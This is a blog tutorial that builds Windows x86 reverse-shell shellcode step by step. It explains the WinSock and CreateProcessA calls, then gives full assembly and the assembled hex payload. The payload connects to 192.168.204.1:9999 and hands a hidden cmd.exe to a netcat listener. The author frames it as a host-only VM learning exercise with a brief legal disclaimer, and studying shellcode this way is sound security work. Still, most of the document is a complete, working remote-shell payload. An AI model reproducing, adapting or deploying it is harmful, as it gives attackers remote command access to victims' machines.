BloG

Windows x86 Shellcode : Reverse Backdoor Shell

January 7, 2019

In the last two blog posts on Windows x86 shellcode, I wrote about loading and using external libraries in shellcode. I then gave an example of loading user32.dll and using MessageBoxA to print a "Hello World!" message.

Now, we're going to try and do something a little more interesting with our shellcode and external libraries; we're going to spawn a reverse backdoor shell.

Little disclaimer here that you shouldn't use or modify my code for anything illegal.

backdoor shell image

To do this, we need a few functions in WS2_32.DLL: WSAStartup, WSASocketA, and connect should do the trick. We also need CreateProcessA in kernel32.dll. The general strategy will be as follows:

Create a standard TCP socket
Connect socket to IP address 192.168.204.1 and port 9999
CreateProcess "cmd" with the socket as stdin, stdout, and stderr
exit

Given that we've already figured out how to load and use DLL's, writing this in x86 boils down to understanding how the parameters are passed to the API calls. I started by writing the equivalent backdoor in C, compiling, and disassembling it to better understand how to use the API's in assembly.

WSAStartup:

We must call WSAStartup before using any of the other networking functions we want to use in this shellcode. WSAStartup takes VersionRequired and WSAData as parameters. In my disassembled backdoor, the program pushes 202 for VersionRequired; I believe this corresponds to v2.2. WSAData is a pointer to a buffer that recieves information about the socket implementation; however, we don't need it for our purposes, so I'll pass a pointer to a location on the stack that we aren't using. This is the assembly I use to call WSAStartup:

WSAStartup_call:
	lea ecx, [esp+0C] #unused location on stack
	push ecx
	push 202 #socket version
	call WSAStartup

WSASocketA:

We call WSASocketA to create a new TCP socket so that our backdoor can communicate over the network. There aren't any structures to understand here, we just need to make sure that we know the magic numbers that correspond to AF_INET, SOCK_STREAM, and IPPROTO_TCP. We are creating a socket without ProtocolInfo, Group, or Flags, so these fields are NULL. This is the assembly for creating a standard TCP socket with WSASocketA:

WSASocketA_call:
	xor ebx, ebx
	push ebx
	push ebx
	push ebx
	push 6 #IPPROTO_TCP
	push 1 #SOCK_STREAM
	push 2 #AF_INET
	call WSASocketA #handle to socket in eax

WS2_32 connect:

We call connect to connect to a listening socket on the network. Connect takes three parameters: a handle to a socket, a pointer to a sockaddr struct, and the length of the sockaddr struct. The sockaddr struct is 0x10 bytes: the first two bytes hold the socket family (AF_INET), the next two bytes hold the port number, the next four bytes hold the IP address, and the last 8 bytes don't do anything. It's important to remember big endian and little endian here - Intel processors are little endian and network byte order is big endian. 2 is the constant for AF_INET, and it is stored in the first 4 bytes in little endian, so it's 0200. We want to connect to port 9999, which is 0x270F, and it is stored in the next 4 bytes in big endian, so it's 270F. Finally, we want to store the IP address 192.168.204.1 in the next 4 bytes in big endian which is C0A8CC01. Here is the assembly:

connect_call:
	call .target
	db 0200270FC0A8CC01
.target:
	pop ebp
	push 10
	push ebp
	push socket
	call connect

Because Windows doesn't read or write to the last 8 bytes of buffer, we don't need to include it in our shellcode.

Why this IP?:

I'm running this shellcode in a Windows virtual machine running on VMWare with host-only networking. The VM is not connected to the internet, but can connect to the host machine using this IP. For the command and control server, I will run netcat on the host machine, listening on port 9999.

CreateProcessA:

We use CreateProcessA to start a Windows command line. When creating the process, we want to make sure that the process's stdin, stdout, and stderr are all routed to the socket. Furthermore, we want to make sure that nothing is displayed on the desktop when the shell is launched.

There are a lot of parameters one can pass to CreateProcessA and we will leave most of them null. The important ones to us are as follows: CommandLine is a string that gets run on the command line; we pass "cmd" to CommandLine. InheritHandles is set to 1 so that the command line inherets the socket. StartupInfo takes a pointer to a STARTUPINFOA struct. The first 4 bytes of STARTUPINFOA are the size of the struct (0x44 bytes). We set Flags to STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES (101). And we set stdin, stdout, and stderr to the socket. Finally, ProcessInformation points to a PROCESS_INFORMATION struct, which is 32 bytes. For our purposes, this structure should be zeroed out, and to save instructions, I push a pointer to a region of zeros within the STARTUPINFOA struct. Here is the assembly:

CreateProcessA_call:
	call .target
	db'cmd'0
.target:
	pop ebp
	xor eax
	push ebx #assume ebx has handle to socket
	push ebx #stdin, stdout, stderr for Process
	push ebx
	push eax
	push eax
	push 101 #STARTUPINFO flags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES
	mov ecx, 10
.loop: #push 40 bytes of 0's
	jecxz .done
	dec ecx
	push eax
	jmp .loop
.done:
	push 44 #sizeof STARTUPINFO
	mov ebx, esp #pointer to STARTUPINFO struct
	lea edx, [esp+4] #pointer to PROCESSINFORMATION (zeros)
	push edx
	push ebx
	push eax
	push eax
	push eax
	push 1 #inheret handles from parent
	push eax
	push eax
	push ebp #string 'cmd'
	push eax
	call CreateProcessA

Everything Together:

We now have everything we need to write our shellcode! Here is the full assembly:

reverse_shell();
	call find_functions
	db'WS2_32'0
	db 0200270FC0A8CC01
	db 'cmd'0
find_functions:
	pop ebp
	call find_kernel32_base
	mov ebx, eax
	push 16B3FE72 #ror-13-additive hash for CreateProcessA
	push ebx
	call find_function_by_hash
	push eax #push address of CreateProcessA to stack
	push EC0E4E8E #hash for LoadLibraryA
	push ebx
	call find_function_by_hash
	push ebp #"WS2_32"
	call eax
	mov ebx, eax
	push 60AAF9EC #hash for connect
	push ebx
	call find_function_by_hash
	push eax
	push ADF509D9 #hash for WSASocketA
	push ebx
	call find_function_by_hash
	push eax
	push 3BFCEDCB #hash for WSAStartup
	push ebx
	call find_function_by_hash
WSAStartup_call:
	lea ecx, [esp+0C] #unused location on stack
	push ecx
	push 202 #socket version
	call eax
WSASocketA_call:
	xor edi, edi
	mov ecx, [esp]
	push edi
	push edi
	push edi
	push 6 #IPPROTO_TCP
	push 1 #SOCK_STREAM
	push 2 #AF_INET
	call ecx
	mov ebx, eax #socket in ebx
connect_call:
	mov eax, [esp+4]
	push 10
	lea edx, [ebp+7] #pointer to sockaddr struct
	push edx
	push ebx
	call eax
CreateProcessA_call:
	mov eax, [esp+8]
	push ebx
	push ebx #stdin, stdout, stderr for Process
	push ebx
	push edi
	push edi
	push 101 #STARTUPINFO flags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES
	mov ecx, 0xA
.loop: #push 40 bytes of 0's
	jecxz .break
	dec ecx
	push edi
	jmp .loop
.break:
	push 44 #sizeof STARTUPINFO
	mov ecx, esp #pointer to STARTUPINFO struct
	lea edx, [esp+4] #pointer to PROCESSINFORMATION (zeros)
	push edx
	push ecx
	push edi
	push edi
	push edi
	push 1 #inheret handles from parent
	push edi
	push edi
	lea edx, [ebp+0F]
	push edx #string 'cmd'
	push edi
	call eax
	int3

There you have it! This assembles to the following shellcode payload:

E8 13 00 00 00 57 53 32 5F 33 32 00 02 00 27 0F
C0 A8 CC 01 63 6D 64 00 5D E8 E9 00 00 00 89 C3
68 72 FE B3 16 53 E8 91 00 00 00 50 68 8E 4E 0E
EC 53 E8 85 00 00 00 55 FF D0 89 C3 68 EC F9 AA
60 53 E8 75 00 00 00 50 68 D9 09 F5 AD 53 E8 69
00 00 00 50 68 CB ED FC 3B 53 E8 5D 00 00 00 8D
4C E4 0C 51 68 02 02 00 00 FF D0 31 FF 8B 0C E4
57 57 57 6A 06 6A 01 6A 02 FF D1 89 C3 8B 44 E4
04 6A 10 8D 55 07 52 53 FF D0 8B 44 E4 08 53 53
53 57 57 68 01 01 00 00 B9 0A 00 00 00 E3 04 49
57 EB FA 6A 44 89 E1 8D 54 E4 04 52 51 57 57 57
6A 01 57 57 8D 55 0F 52 57 FF D0 CC 60 8B 6C E4
24 8B 45 3C 8B 54 28 78 01 EA 8B 4A 18 8B 5A 20
01 EB E3 29 49 8B 34 8B 01 EE 6A 00 56 E8 4D 00
00 00 3B 44 E4 28 75 EA 8B 5A 24 01 EB 66 8B 0C
4B 8B 5A 1C 01 EB 8B 04 8B 01 E8 EB 02 31 C0 89
44 E4 1C 61 C2 08 00 56 31 C0 64 8B 40 30 8B 40
0C 8B 70 1C 8B 46 18 6A 01 50 E8 10 00 00 00 3D
6F 29 C0 F3 74 04 8B 36 EB EA 8B 46 08 5E C3 56
57 53 8B 74 E4 10 8B 5C E4 14 31 FF FC 31 C0 AC
01 DE 38 E0 74 07 C1 CF 0D 01 C7 EB F0 89 F8 5B
5F 5E C2 08 00

We can verify that the payload works correctly by running it in the launcher that we wrote in the last post. Remember to compile as a 32-bit program!

101110B - kernel32 10110C0 - getproc